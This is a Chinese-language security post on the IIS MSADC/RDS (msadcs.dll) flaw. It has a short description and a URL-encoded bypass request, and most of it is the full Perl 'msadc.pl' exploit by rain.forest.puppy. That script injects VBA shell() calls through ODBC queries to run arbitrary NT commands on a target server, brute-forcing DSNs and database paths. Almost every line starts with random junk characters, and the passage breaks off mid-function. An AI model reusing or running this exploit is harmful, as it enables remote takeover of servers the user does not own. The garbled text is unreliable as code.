IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[}:;B$, !1(*D*31 涉及程序:
n<q1itjD Microsoft NT server
d^h`gu~3 2[}
O: 描述:
5XtIVHA@{ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
fSc)PqLP &Z'3n9zl 详细:
ETZE.a 如果你没有时间读详细内容的话,就删除:
>V1vw7Pa c:\Program Files\Common Files\System\Msadc\msadcs.dll
+guCTGD: 有关的安全问题就没有了。
3ScOJo ^IW5c>;| 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
r)<c
~\0 7 gOb"-;Zw 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
M]|tXo$? 关于利用ODBC远程漏洞的描述,请参看:
PzF>yG[ jEh Px http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm CZZwBt$P 1?I_fA} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
YF8;s4 http://www.microsoft.com/security/bulletins/MS99-025faq.asp A; _Zw[ *{y({J 这里不再论述。
<tUl(q+ty zH|YVg 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
dbga >j xB4}9zN s /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
<8)cr0~zy> 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Rp^fY_ V_\9t8 J(>T&G; #将下面这段保存为txt文件,然后: "perl -x 文件名"
pSa
pF)1> KpX1GrIn3 #!perl
s#cb wDT #
okm
}%#| # MSADC/RDS 'usage' (aka exploit) script
O}s Mqh #
^O6eFD U # by rain.forest.puppy
Hnft1
#
mY=Q#nG # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
x3AAn,m8 # beta test and find errors!
CKE):kHu MD9 8N{+[| use Socket; use Getopt::Std;
:MaP58dhh getopts("e:vd:h:XR", \%args);
y:',)f } <>v=jH|L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
$U=j<^R}a PQj 'D<G if (!defined $args{h} && !defined $args{R}) {
XgI;2Be+&a print qq~
0ZM#..3sI Usage: msadc.pl -h <host> { -d <delay> -X -v }
*q&^tn b -h <host> = host you want to scan (ip or domain)
;{lb_du2: -d <seconds> = delay between calls, default 1 second
E]O/'-
-X = dump Index Server path table, if available
'[Zgwz;z -v = verbose
I3qTSX- -e = external dictionary file for step 5
x$hT+z6DUC $sxRRem{? Or a -R will resume a command session
9 1.gE*D N
T>[
2< ~; exit;}
vc%=V^)N7U gp+aUK~o $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
KPjC<9sby if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^]5^p9Jt"e if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
k3+LP7|* if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0gRm LX $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
3ncN)E/@ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
;e)`Cv 3*zywcTH if (!defined $args{R}){ $ret = &has_msadc;
Lm8uN? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
BaVooN~C v#|yr< print "Please type the NT commandline you want to run (cmd /c assumed):\n"
?WP *At0 . "cmd /c ";
sTS/]"l $in=<STDIN>; chomp $in;
D_q"|D$SB $command="cmd /c " . $in ;
~2;\)/E\ ^ItL_4 if (defined $args{R}) {&load; exit;}
LzTdi%u$0| B ({g|}|G+ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
HDO_r(i &try_btcustmr;
5<XWbGW vw6>eT print "\nStep 2: Trying to make our own DSN...";
kGmz1S}2 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
2kcDJ{( ;e{e
?,[ print "\nStep 3: Trying known DSNs...";
Q7#t#XM &known_dsn;
dsU'UG7L o<gK"P print "\nStep 4: Trying known .mdbs...";
Q{|_"sfJ &known_mdb;
`mthzc3W wQ^RXbJI9 if (defined $args{e}){
$[g#P^ print "\nStep 5: Trying dictionary of DSN names...";
Te%V+l &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
k4PXH _lDNYpv print "Sorry Charley...maybe next time?\n";
|%oI,d=ycv exit;
B.C:06E5 d#HlO} ##############################################################################
x1h&`QUP pAws{3(Q sub sendraw { # ripped and modded from whisker
2w}l!'ue sleep($delay); # it's a DoS on the server! At least on mine...
2>[xe my ($pstr)=@_;
<naxpflom0 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
iA<'i8$P die("Socket problems\n");
j&u/T if(connect(S,pack "SnA4x8",2,80,$target)){
sXmP<c select(S); $|=1;
O"X:3srJ` print $pstr; my @in=<S>;
M._;3_)%/ select(STDOUT); close(S);
]O>AD6P return @in;
'#C5m#v } else { die("Can't connect...\n"); }}
ce[
Maw `mH]QjAO ##############################################################################
v\@pZw=x 6zi 5#23 sub make_header { # make the HTTP request
(tyky&$! my $msadc=<<EOT
GExr] 2r POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
p, T4BO User-Agent: ACTIVEDATA
34QW^{dgE Host: $ip
I7W`\d) Content-Length: $clen
^T#jBqe Connection: Keep-Alive
W&k@p9 Qz89=#W ADCClientVersion:01.06
S,EL=3},= Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
*07?U") :p%#U$S4 --!ADM!ROX!YOUR!WORLD!
+z[+kir Content-Type: application/x-varg
D |=L)\ Content-Length: $reqlen
UhJ{MUH` AhkDLm+ EOT
yD Jy'Z_F{ ; $msadc=~s/\n/\r\n/g;
T^F83Py< return $msadc;}
S['cX ~ W~PMR/^i ##############################################################################
dBwoAq`' +v~x_E5FP sub make_req { # make the RDS request
\H9:%Tlp~4 my ($switch, $p1, $p2)=@_;
d}%-vm} 0 my $req=""; my $t1, $t2, $query, $dsn;
ftKL#9,s( ;%Px~g if ($switch==1){ # this is the btcustmr.mdb query
NG`Y{QT6N $query="Select * from Customers where City=" . make_shell();
K$:+]fJK $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
^ir)z@P?V $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
O c.fvP^ZD N~0ihTG5 elsif ($switch==2){ # this is general make table query
R58NTPm $query="create table AZZ (B int, C varchar(10))";
%ZcS"/gf $dsn="$p1";}
9|3sNFGX W/3sJc9 elsif ($switch==3){ # this is general exploit table query
vvG"rU $query="select * from AZZ where C=" . make_shell();
ExQ\qp3 $dsn="$p1";}
4*L*"vKa fC3T\@(& elsif ($switch==4){ # attempt to hork file info from index server
UCXRF $query="select path from scope()";
xHqF_10S# $dsn="Provider=MSIDXS;";}
fs:yx'mxV AusjN-IL elsif ($switch==5){ # bad query
N:CQ$7T{ j $query="select";
93Zij<bH?e $dsn="$p1";}
=@pD>h/~ sgDSl@lB $t1= make_unicode($query);
xXc>YTK' $t2= make_unicode($dsn);
?68~ g<d, $req = "\x02\x00\x03\x00";
m"-kkH{I $req.= "\x08\x00" . pack ("S1", length($t1));
c1r+?q$f $req.= "\x00\x00" . $t1 ;
m)LI|
v $req.= "\x08\x00" . pack ("S1", length($t2));
AloL+eN@ $req.= "\x00\x00" . $t2 ;
pF7N = mO $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
<f`n[QD2z return $req;}
}#-@5["-X `qYiic% ##############################################################################
$2,tT;50g LR{bNV[i sub make_shell { # this makes the shell() statement
Te[v+jgLY, return "'|shell(\"$command\")|'";}
E
.28G2& [& Z-
*a ##############################################################################
1r};cY6 @?3^Ks_ sub make_unicode { # quick little function to convert to unicode
fm@Pa} , my ($in)=@_; my $out;
-`DYDIr for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
,vO\n^ return $out;}
]8fn1Hx\ "\O7_od- ##############################################################################
BWvM~no Vfga%K%l F sub rdo_success { # checks for RDO return success (this is kludge)
vy}_aD{B my (@in) = @_; my $base=content_start(@in);
+7o1&D*v if($in[$base]=~/multipart\/mixed/){
39hep8+ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
^N[ Cip}8 return 0;}
#HH[D;z $,J}w%A ##############################################################################
,(a~vqNQW3 |(ab0b # sub make_dsn { # this makes a DSN for us
qJ(uak my @drives=("c","d","e","f");
K#N9N@W jR print "\nMaking DSN: ";
J4"A6`O foreach $drive (@drives) {
ap'La|9t> print "$drive: ";
rAAx]nQ@ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
deArH5&! "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
;l~a|KW0 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{hJCn*m_ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
K!Fem6R return 0 if $2 eq "404"; # not found/doesn't exist
}<X* :%#b if($2 eq "200") {
/&Cq-W foreach $line (@results) {
Sh1$AGm return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
$ZGup"z) } return 0;}
`kxC#
&HO /FE+WA}r ##############################################################################
#*/nUbsg =1dczJHV sub verify_exists {
05k'TqT{c my ($page)=@_;
#O!2 my @results=sendraw("GET $page HTTP/1.0\n\n");
m~*qS4 return $results[0];}
S6(48/ @--"u_[ ##############################################################################
|'1.ajxw v@ OELJX sub try_btcustmr {
7Y[ q)lv my @drives=("c","d","e","f");
C4$P#DZT^ my @dirs=("winnt","winnt35","winnt351","win","windows");
T0")Ryu oJ
%Nt&q foreach $dir (@dirs) {
m3Wc};yE*Q print "$dir -> "; # fun status so you can see progress
W{.:Cf9 foreach $drive (@drives) {
=DfI^$Lr: print "$drive: "; # ditto
zN!yOlp5 $reqlen=length( make_req(1,$drive,$dir) ) - 28;
rP'%f 6 $reqlenlen=length( "$reqlen" );
HZ%V>88 $clen= 206 + $reqlenlen + $reqlen;
wkGr} Iy49o! my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i8k} B
o if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
fMFkA(Of^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&"JC8 yQUrHxm ##############################################################################
jvsSP?]n Zs79,*o+0M sub odbc_error {
L=qhb;[L my (@in)=@_; my $base;
3))CD,| my $base = content_start(@in);
$(;Ts)P if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
|Vqm1.1/Zv $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
zHz>Gc $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"hI"4xSg $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&WBpd}|+Y return $in[$base+4].$in[$base+5].$in[$base+6];}
2<5LQr print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
G gA:;f46 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
..E_M$} $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
9ybR+dGm+ Z(c
SM ##############################################################################
;Us6:}s SQ> Yf\ sub verbose {
:t!J
9 my ($in)=@_;
Z(tJd, return if !$verbose;
:*,!gf print STDOUT "\n$in\n";}
D((/fT)eD 1="]'!2Is ##############################################################################
fqbeO 9x VnSO>O sub save {
9)]`le my ($p1, $p2, $p3, $p4)=@_;
eA(\#+)X ` open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~&p]kmwXSX print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
q6$6:L,< close OUT;}
d+v|&yN USN'-Ah ##############################################################################
o
g9|}E> ?>*d82yO sub load {
NAE|iyw my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
XchD3p+uB open(IN,"<rds.save") || die("Couldn't open rds.save\n");
d!: /n @p=<IN>; close(IN);
w^&UMX} $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
PSu]I?WF $target= inet_aton($ip) || die("inet_aton problems");
]kmAN65c print "Resuming to $ip ...";
/<LjD $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
p gLhxc: if($p[1]==1) {
EeQ8Uxb7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
y'8T=PqY[t $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*!"T^4DEg my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
> `eo 0 if (rdo_success(@results)){print "Success!\n";}
faLfdUimJ else { print "failed\n"; verbose(odbc_error(@results));}}
ag:<%\2c elsif ($p[1]==3){
O}cfb4" if(run_query("$p[3]")){
_){u5%vv print "Success!\n";} else { print "failed\n"; }}
cwaR#-# elsif ($p[1]==4){
2i!R>` if(run_query($drvst . "$p[3]")){
{@7UfJh> print "Success!\n"; } else { print "failed\n"; }}
^Ff fc@= exit;}
|>U<EtA" 7mi*#X} ##############################################################################
?^!J:D? U= n sub create_table {
bt=D<YZk my ($in)=@_;
8M!9gvcaO $reqlen=length( make_req(2,$in,"") ) - 28;
$<Gt^3e $reqlenlen=length( "$reqlen" );
EB+4]MsD $clen= 206 + $reqlenlen + $reqlen;
bHSoQ \ my @results=sendraw(make_header() . make_req(2,$in,""));
9<CUm"%J return 1 if rdo_success(@results);
b}7g> my $temp= odbc_error(@results); verbose($temp);
~P,Z@|c4 return 1 if $temp=~/Table 'AZZ' already exists/;
n~`jUML2d return 0;}
xP1D 9 aMydeTCHi ##############################################################################
5?>Q[a.Ne "N%W5[C{ sub known_dsn {
j^ 8Hjg # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
*B&i `tq my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
N/{=j "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
MJe/ \ "banner", "banners", "ads", "ADCDemo", "ADCTest");
?cz7s28a rS\mFt X foreach $dSn (@dsns) {
8sDw:wTC print ".";
:+_H%4+ next if (!is_access("DSN=$dSn"));
Z] cFbl\ma if(create_table("DSN=$dSn")){
]OKKR/: print "$dSn successful\n";
aF"PB
h= if(run_query("DSN=$dSn")){
]nIVP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
f~=e print "Something's borked. Use verbose next time\n";}}} print "\n";}
u5qaLHoEP su\Lxv
##############################################################################
Aj\m57e,6 >/GYw"KK sub is_access {
mrE>o! my ($in)=@_;
uKIR$n" $reqlen=length( make_req(5,$in,"") ) - 28;
C\C*@9=&x $reqlenlen=length( "$reqlen" );
0""%@X]m $clen= 206 + $reqlenlen + $reqlen;
0\ j)!b my @results=sendraw(make_header() . make_req(5,$in,""));
cru&nH*O^ my $temp= odbc_error(@results);
GF<SQHL, verbose($temp); return 1 if ($temp=~/Microsoft Access/);
dXt@x8E return 0;}
yyVJb3n5:! A#~CZQY^$ ##############################################################################
PL\4\dXB !C' Y
7 sub run_query {
+)(
"!@ my ($in)=@_;
K nn<q=';G $reqlen=length( make_req(3,$in,"") ) - 28;
UG}"OBg/ $reqlenlen=length( "$reqlen" );
b7M ) $clen= 206 + $reqlenlen + $reqlen;
1?p:66WmR my @results=sendraw(make_header() . make_req(3,$in,""));
ABtv|0K return 1 if rdo_success(@results);
gY-}!9kW] my $temp= odbc_error(@results); verbose($temp);
JKYl return 0;}
R^I4_ZA Hn)^C{RN*{ ##############################################################################
fk5pPm|MiL x?R1/iHv sub known_mdb {
2F1Bz< my @drives=("c","d","e","f","g");
,`ehR6b my @dirs=("winnt","winnt35","winnt351","win","windows");
C0e oV} my $dir, $drive, $mdb;
{
zalB" i my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Q;2kbVWY J0@#xw=+ # this is sparse, because I don't know of many
v>Kv!OY:c my @sysmdbs=( "\\catroot\\icatalog.mdb",
ir)~T0 "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
|oOA;JC)( "\\system32\\certmdb.mdb",
pi*?fUg!W "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
[DSzhi] J72kjj&C my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8+_e= _3R "\\cfusion\\cfapps\\forums\\forums_.mdb",
_B==S4^/yU "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[QT
H ~ "\\cfusion\\cfapps\\security\\realm_.mdb",
UUgc> "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^j_t{h)W(0 "\\cfusion\\database\\cfexamples.mdb",
PTA_erU "\\cfusion\\database\\cfsnippets.mdb",
bb`DyUy ^+ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
QN~9O^ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
-Ze2]^#dl "\\cfusion\\brighttiger\\database\\cleam.mdb",
#k)J);&ZA "\\cfusion\\database\\smpolicy.mdb",
8g_GXtn(z "\\cfusion\\database\cypress.mdb",
/Q9iO&Vu "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
+r =p,leb "\\website\\cgi-win\\dbsample.mdb",
+^aM(4K\ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
@F5QgO J&r "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
#5IfF~*i ); #these are just
i'Q 4touy foreach $drive (@drives) {
9;pD0h| foreach $dir (@dirs){
\%;5$ovV foreach $mdb (@sysmdbs) {
_vE[TFy print ".";
~{yQsEU if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"g;}B"rG print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
fJG!TQJ[Y if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Ria*+.k@"B print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
]:]w+N%7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
<m?/yREK2 dy0xz5N- foreach $drive (@drives) {
y"0!7^ foreach $mdb (@mdbs) {
q&k?$rn print ".";
3)py|W%X$ if(create_table($drv . $drive . $dir . $mdb)){
-+|{#cz print "\n" . $drive . $dir . $mdb . " successful\n";
'%A*Z,f if(run_query($drv . $drive . $dir . $mdb)){
V)r6bb{^ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
%?:eURQ } else { print "Something's borked. Use verbose next time\n"; }}}}
=g^JJpS }
&uTK@ G+ 7;:Uv= ##############################################################################
o>4GtvA* ]u O|YLWp sub hork_idx {
<NX6m|DD print "\nAttempting to dump Index Server tables...\n";
M$GZK'% print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Jp`qE $reqlen=length( make_req(4,"","") ) - 28;
ulnlRx $reqlenlen=length( "$reqlen" );
PEAo'63$ $clen= 206 + $reqlenlen + $reqlen;
wn{DY
v7B my @results=sendraw2(make_header() . make_req(4,"",""));
'St\$X
if (rdo_success(@results)){
m&r